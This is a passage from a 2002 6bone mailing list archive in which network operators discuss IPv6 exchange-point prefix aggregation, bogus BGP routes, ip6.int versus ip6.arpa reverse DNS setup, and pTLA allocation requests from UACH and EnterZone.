From rrockell@sprint.net Mon Jul 22 08:19:42 2002
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If one allows bad prefixes to leak into one routing domain, and then
passes these prefixes on to anyone, that routing domain is as guilty as the
originator.

Long-term solution: De-peer with those that violate AUP for the 6bone.  This
scales nicely, and model exactly what people on the internet do today.

Thanks
Rob Rockell
SprintLink
(+1) 703-689-6322
Sprint IP Services
-----------------------------------------------------------------------

On Mon, 22 Jul 2002, Michel Py wrote:

->> Robert Kiessling wrote:
->> From looking at BGP view before and after an router running
->> MRTd. The AS in question annonced a path like "AS-guilty
->> AS-other some-long-path", while AS-other has a different path
->> for the prefix in question. I saw this for the same AS-guilty
->> and different AS-others.
->
->This is consistent with what was observed before, indeed.
->
->
->>> So far, my feeling is that the issue has been solved by "let's reboot
->>> the router and see what happens" method.
->
->> Right, but that's not an acceptable long-term solution. IMHO
->> either AS-guilty fixes the problem,
->
->> or their peers have to fix it for them.
->
->This is not an acceptable long-term solution either.
->
->So what can we do? Even if we declare MRTd illegal, enforcing it would
->be another story. I vaguely tried to define a generic route-map for
->these with no success either.
->
->Michel.
->
->_______________________________________________
->6bone mailing list
->6bone@mailman.isi.edu
->http://mailman.isi.edu/mailman/listinfo/6bone
->


From michel@arneill-py.sacramento.ca.us Mon Jul 22 08:21:53 2002
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
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> Pim Van Pelt wrote:
> So in short: somebody should be aggregating 2001:478::/32 so
> that I (and most probably several other European operators)
> will have a path to the aggregate and be able to reach the
> /48s in a proper, RFC obeying manner.

I agree.


> These, and all other more specifics in the 2001:478::/32 network,
> will be unreachable from my site(s). I do hope people are not
> planning to run public services such as looking glass or
> websites/whois servers in these networks ?

The problem is, they are.

> If so, those will not be reachable either for my customers, unless
> I can be somehow persuaded that IXPs are more special than other pigs.

This is really the core of the issue. IXPs do need a multihoming
solution. The way to get it is _not_ to break PA because there is no PI.

As I said many times before, any multihoming solution requires a clean
PA space to work, no holes, no specifics.

So please, we are not kids here. Instead of breaking things because they
don't work the way we would like, let's try to see a little farther on
the horizon and promote _aggregatable_ methods such as
http://arneill-py.sacramento.ca.us/ipv6mh/geov6.txt.

Michel.


From tvo@EnterZone.Net Mon Jul 22 08:31:05 2002
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To: Jeroen Massar <jeroen@unfix.org>
cc: "'Robert Kiessling'" <Robert.Kiessling@de.easynet.net>,
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Subject: RE: [6bone] 2001:478::  as /48
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On Mon, 22 Jul 2002, Jeroen Massar wrote:

> John Fraizer wrote:
> 
> > On 21 Jul 2002, Robert Kiessling wrote:
> > 
> > > John Fraizer <tvo@ENTERZONE.NET> writes:
> <SNIP>
> 
> > In such event, EnterZone volunteers to take over the 
> > 3ffe:1c00::/24 space and will move all downstream tunnels to our
> routers.
> What's the reason that your company doesn't request it's own IPv6 space
> from ARIN ?

You made the assumption that we don't have RIR space.  It was
incorrect.  We do.  I am offering to run the 3ffe:1c00::/24 space as
well. We already have 6bone space out of that block and since MERIT seems
unwilling to provide ongoing service to the block, I am offering to do so. 
I will *NOT* put folks on our RIR space for free but will gladly do so on
6bone address space.


---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From michel@arneill-py.sacramento.ca.us Mon Jul 22 08:34:38 2002
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>> In such event, EnterZone volunteers to take over the
>> 3ffe:1c00::/24 space and will move all downstream tunnels
>> to our routers.

I would suggest to fill a complete pTLA request and send it to Bob Fink,
specifying that you wish to take over the MERIT block.

Michel.


From michel@arneill-py.sacramento.ca.us Mon Jul 22 08:39:39 2002
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> Bill Manning wrote:
> Such an aggregate will never exist, from the holder of
> 2001:478:: Only people who proxy aggregate will see such.
> I guess that it is useful to note that This thread was to
> point out that under no legitimate circumstances should
> anyone see the aggreagate 2001:478::/35 since all the
> delegations are of /48 or /64 and are to number exchanges
> and other infrastructure.  I'd like folks to understand
> what accepting /48s in this range will mean. I'm not asking
> you to accept them. I'm asking you to -NOT- accept the
> aggregate.

I will create this aggregate myself (rather, configure a static route to
it on each tunnel) if I decide to implement RPF checks and want my
traceroutes working.


> That is precisely what I'm asking -NOT- be done. There is
> no transit facility that will get you to all the exchanges
> numbered out of this range.  e.g.
>   2001:478:200::/48   MAE-West
>   2001:478:1199::/48	MAE-Frankfurt
>   2001:478:39::/48    IX-SauPaulo
>   2001:478:1202::/48  CNIX-Beijing

The question is: Why do you need a transit facility that will get you
all the exchanges? I am sympathetic with the problem IXs (and other
people) are having, but do keep in mind that by breaking PA you are
shooting yourself in the foot regarding the availability of a
longer-term solution.

Michel.


From tvo@EnterZone.Net Mon Jul 22 09:05:40 2002
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From: John Fraizer <tvo@EnterZone.Net>
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Subject: RE: [6bone] 2001:478::  as /48
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On Mon, 22 Jul 2002, Michel Py wrote:

> >> In such event, EnterZone volunteers to take over the
> >> 3ffe:1c00::/24 space and will move all downstream tunnels
> >> to our routers.
> 
> I would suggest to fill a complete pTLA request and send it to Bob Fink,
> specifying that you wish to take over the MERIT block.
> 
> Michel.

I have already completed the pTLA request.  Bob: 3ffe:1c00::/24 would be
nice unless someone can re-animate those in charge of 3ffe:1c00::/24
currently.



---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |




From psb@ast.cam.ac.uk Mon Jul 22 09:12:25 2002
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Subject: RE: [6bone] 2001:478::  as /48
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Is this discussion nearly finished?  If not, I wonder if it might be worth
considering taking it into private space and one of you issuing an
executive summary when it's all over...
	I could just unsubscribe, I guess, but that would be defeatist!

Pete.



From bmanning@ISI.EDU Mon Jul 22 09:16:46 2002
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Subject: Re: [6bone] 2001:478::  as /48
In-Reply-To: <2B81403386729140A3A899A8B39B046406C9A4@server2000.arneill-py.sacramento.ca.us> from Michel Py at "Jul 22, 2 08:39:33 am"
To: michel@arneill-py.sacramento.ca.us (Michel Py)
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% > Bill Manning wrote:
% > Such an aggregate will never exist, from the holder of
% > 2001:478:: Only people who proxy aggregate will see such.
% > I guess that it is useful to note that This thread was to
% > point out that under no legitimate circumstances should
% > anyone see the aggreagate 2001:478::/35 since all the
% > delegations are of /48 or /64 and are to number exchanges
% > and other infrastructure.  I'd like folks to understand
% > what accepting /48s in this range will mean. I'm not asking
% > you to accept them. I'm asking you to -NOT- accept the
% > aggregate.
% 
% I will create this aggregate myself (rather, configure a static route to
% it on each tunnel) if I decide to implement RPF checks and want my
% traceroutes working.

Hum..  This is exactly what SprintICM did eight years ago when they
annoucnced 192.0.0.0/3 into the routing system.  Many networks became
unreachable. 

While your at it, you need to include the aggreates for
the RIPE, APNIC, and ARIN /32s that are being/will be used for this
exact same purpose.  Proxy aggregation is lying to the routing system.
While you can lie to yourself with relative impunity, lying to others
is bad. 

-- 
--bill

From bmanning@ISI.EDU Mon Jul 22 09:21:44 2002
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Subject: Re: [6bone] 2001:478::  as /48
In-Reply-To: <Pine.SOL.4.42.0207221709220.24317-100000@cass18> from Peter Bunclark at "Jul 22, 2 05:12:19 pm"
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% Is this discussion nearly finished?  If not, I wonder if it might be worth
% considering taking it into private space and one of you issuing an
% executive summary when it's all over...
% 	I could just unsubscribe, I guess, but that would be defeatist!
% 
% Pete.

I think its pretty much dead.  I just took the opporuntity to announce
the policy of 2001:478 on delegations/aggregation, which predates the
RIR policys for micro-allocations in their respective blocks.  Some
ISPs beleive that this is evil incarnate and agressivly filter. Others
are more pragmatic and will adjust as their needs dictate.

Certain RIR policies in regards to /48 & /64 delegations are unenforcable
and the EP.NET, LLC. policy w.r.t. 2001:478 recognises this. 

--bill

From Florent.Parent@viagenie.qc.ca Wed Jul 24 08:30:28 2002
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To: Robert Kiessling <Robert.Kiessling@de.easynet.net>,
   Koji Kondo <koji@iijmio-mail.jp>,
   Jun-ichiro itojun Hagino <itojun@iijlab.net>
cc: ipv6@viagenie.qc.ca, ipv6@v6.dti.ad.jp, 6bone@ISI.EDU
Subject: Re: [6bone] bogus routes remain for /35
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References: <20020720004319.C677C7BA@starfruit.itojun.org>
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Folks,

I'm updating our router software today. This will hopfully get rid of this 
bogus announcement.

Florent.

--On 2002-07-22 03:18:48 +0100 Robert.Kiessling@de.easynet.net wrote:

> Koji Kondo <koji@iijmio-mail.jp> writes:
>
>> AS4691 is not announcing the route of 2001:2e8::/35,
>> but I can see this route from looking glass.
>
> See my message about MRTD. A bug in it is most likely the cause of
> this announcement.
>
> Robert
>
>> BGP routing table entry for 2001:2E8::/35, version 33588
>> Paths: (4 available, best #3)
>>   Advertised to non peer-group peers:
>>   2001:3A0::1001 2001:3A0::2001 2001:3A0::2002 2001:3A0::2003
>>   2001:3A0::3001  65526 10566 6939 15589 1275 5609 20745 20745 20745
>>   20745 20745 20745 20745 109 5550 9112 13110 3320 680 5539 8627 6830
>>   559 8758 9044 3FFE:81F1:1:2016::1 from 3FFE:81F1:1:2016::1 (213.91.4.3)
>>       Origin IGP, localpref 10, valid, external
>>       Community: no-export



From tvo@EnterZone.Net Wed Jul 24 15:41:54 2002
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Date: Wed, 24 Jul 2002 18:41:48 -0400 (EDT)
From: John Fraizer <tvo@EnterZone.Net>
To: 6bone@ISI.EDU
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Subject: [6bone] ip6.int or ip6.arpa or BOTH?
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For reverse records, which zones should I be creating?  ip6.arpa or
ip6.int?  Traces from some places show our reverse and some do not.  I
have some machines (all using the same DNS servers) that show our reverse
on our nets and some that do not.  The machines that don't show ours WILL
show *some* other networks reverses for ipv6 addresses.

So, can someone tell me how I should be set up?  I currently have ip6.int
zones.


---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From bmanning@ISI.EDU Wed Jul 24 16:13:14 2002
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Subject: Re: [6bone] ip6.int or ip6.arpa or BOTH?
In-Reply-To: <Pine.LNX.4.21.0207241839240.31203-100000@Overkill.EnterZone.Net> from John Fraizer at "Jul 24, 2 06:41:48 pm"
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% 
% For reverse records, which zones should I be creating?  ip6.arpa or
% ip6.int?  Traces from some places show our reverse and some do not.  I
% have some machines (all using the same DNS servers) that show our reverse
% on our nets and some that do not.  The machines that don't show ours WILL
% show *some* other networks reverses for ipv6 addresses.
% 
% So, can someone tell me how I should be set up?  I currently have ip6.int
% zones.
% 
% 
% ---
% John Fraizer              | High-Security Datacenter Services |
% EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
% http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |
% 
% 
% _______________________________________________
% 6bone mailing list
% 6bone@mailman.isi.edu
% http://mailman.isi.edu/mailman/listinfo/6bone
% 


for 3ffe::/16 space, there is no current ip6.arpa delegation.


-- 
--bill

From noc@ENTERZONE.NET Wed Jul 24 17:28:32 2002
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From: John Fraizer <tvo@ENTERZONE.NET>
To: Bill Manning <bmanning@ISI.EDU>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] ip6.int or ip6.arpa or BOTH?
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On Wed, 24 Jul 2002, Bill Manning wrote:

> % 
> % For reverse records, which zones should I be creating?  ip6.arpa or
> % ip6.int?  Traces from some places show our reverse and some do not.  I
> % have some machines (all using the same DNS servers) that show our reverse
> % on our nets and some that do not.  The machines that don't show ours WILL
> % show *some* other networks reverses for ipv6 addresses.
> % 
> % So, can someone tell me how I should be set up?  I currently have ip6.int
> % zones.
> % 
> % 
> % ---
> % John Fraizer              | High-Security Datacenter Services |
> % EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
> % http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |
> % 
> 
> 
> for 3ffe::/16 space, there is no current ip6.arpa delegation.
> 
> 
> -- 
> --bill

OK.  Does that mean that for 3ffe::/16 space, I should be using ip6.int
and for 2001:4f0::/35, I should be using ip6.arp?

---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From kim@tac.nyc.ny.us Wed Jul 24 17:53:36 2002
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To: John Fraizer <tvo@EnterZone.Net>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] ip6.int or ip6.arpa or BOTH?
In-Reply-To: <Pine.LNX.4.21.0207241839240.31203-100000@Overkill.EnterZone.Net>
 from John Fraizer on Wed, 24 Jul 2002 18:41:48 -0400
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From: Kimmo Suominen <kim@tac.nyc.ny.us>
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More recent versions of glibc only seem to look in ip6.arpa (e.g.
glibc-2.2.4-24 from RHL).  Other systems only look in ip6.int
(e.g. NetBSD).

I've been maintaining both ip6.arpa and ip6.int in nibble format, so
that at least all local nodes will be able to resolve names.  I only
edit files for ip6.arpa, and use a little Makefile to produce the
ip6.int files.

It would be nice to have ip6.arpa for 3ffe::/16, too...  :-)

+ Kim

	IP6ZONES?=	\
			3ffe:507:184.rev \
			3ffe:1ce1:100.rev \
			3ffe:26ff:10.rev \
			3ffe:2900:b00c.rev \

	.for d in ${IP6ZONES}
	all:: ${d:S/:/_/g}

	${d:S/:/_/g}: ${d}
		-rm -f ${.TARGET}
		${SED} -e 's/ip6\.arpa/ip6.int/g' ${.ALLSRC} > ${.TARGET}
	.endfor


| From:    John Fraizer <tvo@EnterZone.Net>
| Date:    Wed, 24 Jul 2002 18:41:48 -0400
|
|
| For reverse records, which zones should I be creating?  ip6.arpa or
| ip6.int?  Traces from some places show our reverse and some do not.  I
| have some machines (all using the same DNS servers) that show our reverse
| on our nets and some that do not.  The machines that don't show ours WILL
| show *some* other networks reverses for ipv6 addresses.
|
| So, can someone tell me how I should be set up?  I currently have ip6.int
| zones.
|
|
| ---
| John Fraizer              | High-Security Datacenter Services |
| EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
| http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |
|
|
| _______________________________________________
| 6bone mailing list
| 6bone@mailman.isi.edu
| http://mailman.isi.edu/mailman/listinfo/6bone
|

From bmanning@ISI.EDU Wed Jul 24 18:07:07 2002
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Subject: Re: [6bone] ip6.int or ip6.arpa or BOTH?
In-Reply-To: <Pine.LNX.4.21.0207242026530.1525-100000@Overkill.EnterZone.Net> from John Fraizer at "Jul 24, 2 08:28:30 pm"
To: tvo@ENTERZONE.NET (John Fraizer)
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% > for 3ffe::/16 space, there is no current ip6.arpa delegation.
% > 
% > --bill
% 
% OK.  Does that mean that for 3ffe::/16 space, I should be using ip6.int
% and for 2001:4f0::/35, I should be using ip6.arp?
% 
% ---

	You can put both into ip6.int. You can only put the 2001: 
	stuff into ip6.arpa.  Now the current RH resolver will only
	look in ip6.arpa.   :(



-- 
--bill

From tvo@EnterZone.Net Wed Jul 24 18:19:27 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Kimmo Suominen <kim@tac.nyc.ny.us>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] ip6.int or ip6.arpa or BOTH?
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OK. 

 (1) What is nibble format?
 (2) Why would the glibc maintainers drop looking in ip6.int when there is
no ip6.arpa for 3ffe::/16?

I just want reverse to work for our zones.

John

On Wed, 24 Jul 2002, Kimmo Suominen wrote:

> More recent versions of glibc only seem to look in ip6.arpa (e.g.
> glibc-2.2.4-24 from RHL).  Other systems only look in ip6.int
> (e.g. NetBSD).
> 
> I've been maintaining both ip6.arpa and ip6.int in nibble format, so
> that at least all local nodes will be able to resolve names.  I only
> edit files for ip6.arpa, and use a little Makefile to produce the
> ip6.int files.
> 
> It would be nice to have ip6.arpa for 3ffe::/16, too...  :-)
> 
> + Kim
> 
> 	IP6ZONES?=	\
> 			3ffe:507:184.rev \
> 			3ffe:1ce1:100.rev \
> 			3ffe:26ff:10.rev \
> 			3ffe:2900:b00c.rev \
> 
> 	.for d in ${IP6ZONES}
> 	all:: ${d:S/:/_/g}
> 
> 	${d:S/:/_/g}: ${d}
> 		-rm -f ${.TARGET}
> 		${SED} -e 's/ip6\.arpa/ip6.int/g' ${.ALLSRC} > ${.TARGET}
> 	.endfor


From kim@tac.nyc.ny.us Wed Jul 24 18:31:34 2002
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To: John Fraizer <tvo@EnterZone.Net>
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Subject: Re: [6bone] ip6.int or ip6.arpa or BOTH?
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 from John Fraizer on Wed, 24 Jul 2002 21:19:24 -0400
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| From:    John Fraizer <tvo@EnterZone.Net>
| Date:    Wed, 24 Jul 2002 21:19:24 -0400
|
| OK.
|
|  (1) What is nibble format?

$ORIGIN 2.0.0.0.c.0.0.b.0.0.9.2.e.f.f.3.ip6.arpa.
8.1.5.7.c.1.e.f.f.f.2.e.4.0.2.0 IN PTR beowulf.gw.com.

Regards,
+ Kim

From tvo@EnterZone.Net Wed Jul 24 18:56:35 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Kimmo Suominen <kim@tac.nyc.ny.us>
cc: 6bone@ISI.EDU, hostmaster@arin.net, v6@arin.net
Subject: Re: [6bone] ip6.int or ip6.arpa or BOTH?
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On Wed, 24 Jul 2002, Kimmo Suominen wrote:

> | From:    John Fraizer <tvo@EnterZone.Net>
> | Date:    Wed, 24 Jul 2002 21:19:24 -0400
> |
> | OK.
> |
> |  (1) What is nibble format?
> 
> $ORIGIN 2.0.0.0.c.0.0.b.0.0.9.2.e.f.f.3.ip6.arpa.
> 8.1.5.7.c.1.e.f.f.f.2.e.4.0.2.0 IN PTR beowulf.gw.com.
> 
> Regards,
> + Kim

OK.  That's how I've been doing things thus far.  Now, I find a new
problem.

It doesn't appear that ARIN has delegated ip6.arpa for 2001:4f0::/35 to
me.

; <<>> DiG 9.1.0 <<>> @arrowroot.arin.net soa
1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.f.4.0.1.0.0.2.ip6.arpa
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 46690
;; flags: qr aa rd; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.f.4.0.1.0.0.2.ip6.arpa. IN
SOA

;; AUTHORITY SECTION:
4.0.1.0.0.2.ip6.arpa.   10800   IN      SOA
arrowroot.arin.net. bind.arin.net. 2002041212 10800 3600 1209600 10800

;; Query time: 100 msec
;; SERVER: 198.133.199.110#53(arrowroot.arin.net)
;; WHEN: Wed Jul 24 21:45:16 2002
;; MSG SIZE  rcvd: 149



> 4.0.1.0.0.2.ip6.arpa
Server:         arrowroot.arin.net
Address:        198.133.199.110#53

4.0.1.0.0.2.ip6.arpa
        origin = arrowroot.arin.net.
        mail addr = bind.arin.net.
        serial = 2002041212
        refresh = 10800
        retry = 3600
        expire = 1209600
        minimum = 10800

> 0.f.4.0.1.0.0.2.ip6.arpa
Server:         arrowroot.arin.net
Address:        198.133.199.110#53

** server can't find 0.f.4.0.1.0.0.2.ip6.arpa.: NXDOMAIN


Isn't THAT special.  It doesn't look like the ip6.arpa zone has been
updated at ARIN since April 12, 2002.


[whois.arin.net]
EnterZone, Inc (ENTERZONE-V6)
   6227 Headley Road
   Gahanna, OH 43230
   US

   Netname: ENTERZONE-V6
   Netnumber: 2001:04F0:0000:0000:0000:0000:0000:0000/35

   Maintainer: V6ZN

   Coordinator:
     Fraizer, John (JF1998-ARIN)  John.Fraizer@ENTERZONE.NET
     +1 614 554-4356

   Domain System inverse mapping provided by:
   NS1.ENTERZONE.NET
   NS2.ENTERZONE.NET

   Record last updated on 18-Jul-2002.

It would be nice if the ip6.arpa records were REALLY delegated to my
nameservers.


---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From kim@tac.nyc.ny.us Wed Jul 24 20:27:50 2002
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To: Garrett Wollman <wollman@lcs.mit.edu>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] ip6.int or ip6.arpa or BOTH?
In-Reply-To: <200207250203.g6P239L9059592@khavrinen.lcs.mit.edu>
 from Garrett Wollman on Wed, 24 Jul 2002 22:03:09 -0400
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I'm using $ORIGIN in the IPv6 reverse files to avoid excessively long
lines.  I also find it easier to move machines from one subnet to
another by moving an entire PTR entry to be under a different $ORIGIN
as opposed to having to edit the line too.  This is especially useful
when there are moves from one assigned block to another.

I wish I could do "popd" or some sort of "cd .." with $ORIGIN.  Or
just limit the scope, maybe something like

    {
	$ORIGIN xxx.
	foo IN PTR yyy.zzz.
    }

But that's probably off-topic here, already.

+ Kim


| From:    Garrett Wollman <wollman@lcs.mit.edu>
| Date:    Wed, 24 Jul 2002 22:03:09 -0400
|
| In article <mit.lcs.mail.6bone/20020725005333.DB36B7E04@beowulf.gw.com> you w
| rite:
|
| >I've been maintaining both ip6.arpa and ip6.int in nibble format, so
| >that at least all local nodes will be able to resolve names.  I only
| >edit files for ip6.arpa, and use a little Makefile to produce the
| >ip6.int files.
|
| There's really no need to go to all that work, since the records in
| the zones are all the same but for the origin.  We have:
|
| zone "2.1.0.0.a.1.2.1.2.0.0.2.ip6.int" {
|   type master;
|   file "primary/rev.ipv6.db";
| };
|
| zone "2.0.0.0.1.e.c.1.e.f.f.3.ip6.int" {
|   type master;
|   file "primary/rev.ipv6.db";
| };
|
| ..and everything works just peachy.  (Actually, not quite everything,
| because there's one address (prefix::1) which needs to map to
| different things in our 6to4 and 6bone spaces, but we'll fix that by
| giving both duties to one machine.)  The zone file uses only
| origin-relative addresses and does not contain a $ORIGIN directive.
|
| -GAWollman
|
| --
| Garrett A. Wollman   | [G]enes make enzymes, and enzymes control the rates of
| wollman@lcs.mit.edu  | chemical processes.  Genes do not make ``novelty-
| Opinions not those of| seeking'' or any other complex and overt behavior.
| MIT, LCS, CRS, or NSA|         - Stephen Jay Gould (1941-2002)
|

From fink@es.net Wed Jul 24 22:20:46 2002
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From: Bob Fink <fink@es.net>
Cc: "Christian Lazo R." <clazo@inf.uach.cl>
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6bone Folk,

UACH has requested a pTLA allocation and I find their request fully 
compliant with RFC2772. The open review period for this will close 7 August 
2002. Please send your comments to me or the list.

<http://whois.6bone.net/cgi-bin/whois?UACH>

<http://ipv6.inf.uach.cl/>


Also note that UACH has permission to use REUNA's ASN (AS11340) for 6bone 
pTLA purposes.


Thanks,

Bob

===
>From: "Christian Lazo R." <clazo@inf.uach.cl>
>To: <fink@es.net>
>Subject: request for pTLA
>Date: Mon, 24 Jun 2002 12:12:29 -0700
>
>Hello,
>
>As a SPTLA, I'm very much interested to be a PTLA.
>
>Therefore I'm sending my application in the order that you require:
>
>   1. The pTLA Applicant must have a minimum of three (3) months
>       qualifying experience as a 6Bone end-site or pNLA transit.   During
>       the entire qualifying period the Applicant must be operationally
>       providing the following:
>
>      I have esperience from june 2001
>
>
>       a. Fully maintained, up to date, 6Bone Registry entries for their
>          ipv6-site inet6num, mntner, and person objects, including each
>          tunnel that the Applicant has.
>ipv6-site:    UACH
>origin:       AS45333
>descr:        Universidad Austral de Chile
>               Instituto de Informatica
>country:      CL
>prefix:       3FFE:8070:100C::/48
>application:  ping routerv6.ipv6.cl
>tunnel:       IPv6 in IPv4 routerv6.inf.uach.cl -> 
>ipv6-gw.compendium.com.ar COMPENDIUM-AR BGP4+
>tunnel:       IPv6 in IPv4 routerv6.inf.uach.cl -> 
>unam-ipv6-1.ipv6.unam.mx UNAM BGP4+
>tunnel:       IPv6 in IPv4 routerv6.inf.uach.cl -> gwipv6.ipv6.itesm.mx 
>ITESM BGP4+
>tunnel:       IPv6 in IPv4 routerv6.inf.uach.cl -> gw6.nic.mx NIC-MX BGP4+
>contact:      CLR1-6BONE
>url:          http://ipv6.inf.uach.cl/
>notify:       clazo@inf.uach.cl
>mnt-by:       MNT-UACH
>changed:      clazo@inf.uach.cl 20010626
>changed:      clazo@inf.uach.cl 20010629
>changed:      clazo@inf.uach.cl 20020618
>source:       6BONE
>
>
>       b. Fully maintained, and reliable, BGP4+ peering and connectivity
>          between the Applicant's boundary router and the appropriate
>          connection point into the 6Bone. This router must be IPv6
>          pingable. This criteria is judged by members of the 6Bone
>          Operations Group at the time of the Applicant's pTLA request.
>
>
>
>
>
>    c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>          entries for the Applicant's router(s) and at least one host
>          system.
>
>[clazo@antillanca clazo]$ dig www.ipv6.cl
>
>; <<>> DiG 8.2 <<>> www.ipv6.cl
>;; res options: init recurs defnam dnsrch
>;; got answer:
>;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 4
>;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 4
>;; QUERY SECTION:
>;;      www.ipv6.cl, type = A, class = IN
>
>;; ANSWER SECTION:
>www.ipv6.cl.            14h41m4s IN A   146.83.248.3
>
>;; AUTHORITY SECTION:
>ipv6.cl.                14h41m4s IN NS  ns.ipv6.cl.
>ipv6.cl.                14h41m4s IN NS  secundario.nic.cl.
>
>;; ADDITIONAL SECTION:
>ns.ipv6.cl.             10h51m50s IN A  146.83.248.2
>ns.ipv6.cl.             14h23m6s IN AAAA  3ffe:8070:100c:2c01::a
>secundario.nic.cl.      11h7m54s IN A   216.72.164.136
>secundario.nic.cl.      11h7m54s IN A   200.27.126.131
>
>;; Total query time: 6 msec
>;; FROM: antillanca.inf.uach.cl to SERVER: default -- 146.83.216.201
>;; WHEN: Mon Jun 17 21:25:35 2002
>;; MSG SIZE  sent: 29  rcvd: 174
>
>
>       d. A fully maintained, and reliable, IPv6-accessible system
>          providing, at a mimimum, one or more web pages, describing the
>          Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>www.ipv6.cl
>
>
>
>    2. The pTLA Applicant MUST have the ability and intent to provide
>       "production-quality" 6Bone backbone service. Applicants must
>       provide a statement and information in support of this claim.
>       This MUST include the following:
>
>       a. A support staff of two persons minimum, three preferable, with
>          person attributes registered for each in the ipv6-site object
>          for the pTLA applicant.
>
>
>
>
>
>       b. A common mailbox for support contact purposes that all support
>          staff have acess to, pointed to with a notify attribute in the
>          ipv6-site object for the pTLA Applicant.
>
>ipv6@inf.uach.cl
>
>
>    3. The pTLA Applicant MUST have a potential "user community" that
>       would be served by its becoming a pTLA, e.g., the Applicant is a
>       major provider of Internet service in a region, country, or focus
>       of interest. Applicant must provide a statement and information in
>       support this claim.
>
>The potential group that we are available to give this service is the 
>following:
>
>All the chilean universities counting with Internet and interested in 
>working with ipv6.
>
>There are also some other big Chileans firms such as Internet Service 
>Provider
>
>Nowadays, we are working with other Latin American universities in order 
>to grow up the interest to use IPv6
>
>As you can see, our purpose is to become the IPv6 in Chile.
>
>    4. The pTLA Applicant MUST commit to abide by the current 6Bone
>       operational rules and policies as they exist at time of its
>       application, and agree to abide by future 6Bone backbone
>       operational rules and policies as they evolve by consensus of the
>       6Bone backbone and user community.
>
>    When an Applicant seeks to receive a pTLA allocation, it will apply
>    to the 6Bone Operations Group (see section 8 below) by providing to
>    the Group information in support of its claims that it meets the
>    criteria above.
>
>     8. 6Bone Operations Group
>
>    The 6Bone Operations Group is the group in charge of monitoring and
>    policing adherence to the current rules. Membership in the 6Bone
>    Operations Group is mandatory for, and restricted to, sites connected
>    to the 6Bone.
>
>    The 6Bone Operations Group is currently defined by those members of
>    the existing 6Bone mailing list who represent sites participating in
>    the 6Bone. Therefore it is incumbent on relevant site contacts to
>    join the 6Bone mailing list. Instructions on how to join the list are
>    maintained on the 6Bone web site at < http://www.6bone.net>.
>
>
>greeting
>
>(sorry , but my Inglish is very bad)
>
>Christian
>________________
>Christian Lazo R.
>Instituto de Informatica
>fono 56-63-221812
>Fac Cs de la Ingenieria
>Universidad Austral de Chile



From fink@es.net Wed Jul 24 22:28:26 2002
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Date: Wed, 24 Jul 2002 22:27:21 -0700
To: 6BONE List <6bone@mailman.isi.edu>
From: Bob Fink <fink@es.net>
Cc: John.Fraizer@ENTERZONE.NET
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Subject: [6bone] pTLA request ENTERZONE - review closes 7 August 2002
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6bone Folk,

ENTERZONE has requested a pTLA allocation and I find their request fully 
compliant with RFC2772. The open review period for this will close 7 August 
2002. Please send your comments to me or the list.

<http://whois.6bone.net/cgi-bin/whois?ENTERZONE>

<http://ipv6.enterzone.net/>

Also note that ENTERZONE already has an ARIN issued sTLA prefix allocated 
(2001:04F0::/35) for their customers willing to pay for IPv6 service. They 
want to provide free experimental 6bone services to anyone who wants to
experiment as well as providing production IPv6 services.


Thanks,

Bob

===
>Date: Wed, 17 Jul 2002 20:51:29 -0400 (EDT)
>From: John.Fraizer@ENTERZONE.NET
>To: fink@es.net
>Subject: pTLA prefix request - updated
>
>
>    The following rules apply to qualify for a 6Bone pTLA allocation. It
>    should be recognized that holders of 6Bone pTLA allocations are
>    expected to provide production quality backbone network services for
>    the 6Bone.
>
>    1. The pTLA Applicant must have a minimum of three (3) months
>       qualifying experience as a 6Bone end-site or pNLA transit.   During
>       the entire qualifying period the Applicant must be operationally
>       providing the following:
>
>       a. Fully maintained, up to date, 6Bone Registry entries for their
>          ipv6-site inet6num, mntner, and person objects, including each
>          tunnel that the Applicant has.
>
>  EnterZone has been a pNLA since March 1999 and has since March 30,
>1999 maintained our ipv6-site, inet6num, mntner and person objects,
>including each tunnel that we have active.
>
>
>       b. Fully maintained, and reliable, BGP4+ peering and connectivity
>          between the Applicant's boundary router and the appropriate
>          connection point into the 6Bone. This router must be IPv6
>          pingable. This criteria is judged by members of the 6Bone
>          Operations Group at the time of the Applicant's pTLA request.
>
>  EnterZone has during this time period experienced one outage with
>respect to 6bone connectivity that was caused by catastrophic failure of
>our (single at the time) 6bone router.  Our IPv6 network now consists of
>redundant border (border1.enterzone.net and border2.enterzone.net) and
>core (core1.enterzone.net and core2.enterzone.net) routers to prevent
>this single point of failure situation from occuring again.  Note: Core1
